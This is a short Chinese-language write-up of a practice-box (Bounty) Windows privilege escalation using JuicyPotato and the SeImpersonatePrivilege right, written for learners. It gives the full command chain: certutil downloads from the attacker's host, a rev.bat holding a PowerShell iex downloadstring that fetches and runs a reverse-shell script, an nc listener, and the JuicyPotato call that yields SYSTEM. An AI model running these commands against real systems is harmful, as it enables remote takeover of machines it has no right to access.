在windows提權有一個potato系列的工具,包含了sweet potato、juicy potato、lonely potato以及hot potato等,而有些已經無法使用,因為windows已經修補相關漏洞。
這個工具我以靶機Bounty做說明。目前利用Invoke-PowerShellTcp.ps1獲得了目標初步的使用權限,其使用者為merlin,現在要尋找可以提權的地方。
我們先查看目前使用者的權限。
whoami /priv
SeImpersonatePrivilege
這個是可以執行的,代表可以透過這個使用者獲取SYSTEM的權限,讓我們可以利用juicy potato或是其他potato系列的工具。
從github下載JuicyPotato.exe,然後將檔案傳送至目標主機,在目標主機輸入以下指令。
在駭客主機上要先開啟網頁伺服器
python3 -m http.server 80
接著,下載juicypotato.exe到受害主機。
certutil.exe -urlcache -f http://[your ip]/JuicyPotato.exe juicy.exe
我們使用certutil
下載,也可以利用powershell Invoke-WebRequest
、cp
等等,-f
指定檔案路徑,最後設置在本地儲存的檔案名稱。
下載成功時,可以在駭客自己的主機上看到下載成功(status code 200)。
接著,在本地創建一個檔案名叫rev.bat,主要目的是在目標主機上執行先前已上傳的Invoke-PowerShellTcp.ps1做reverse shell,而這個檔案為juicy potato的輸入。
## rev.bat
echo "powershell.exe -c iex(new-object net.webclient).downloadstring('http://[your ip/Invoke-PowerShellTcp.ps1')" > rev.bat
上傳rev.bat至目標主機
certutil.exe -urlcache -f http://[your ip]/rev.bat
然後在駭客本地監聽Invoke-PowerShellTcp所指定的port
nc -lvnp 443
最後執行juicy potato
[path/to/juicy.exe] -p [path/to/rev.bat] -t * -l 1337
-p
為設置執行的程式碼,-t
開啟SeImpersonate权限以及SeAssignPrimaryToken权限,如果只要開啟前者下指令-t t
,只開後者就是-t u
,-l
設置監聽的port。
提權成功後,能夠在本地監聽的shell看到使用者已變成SYSTEM。
我的介紹到此結束,謝謝:)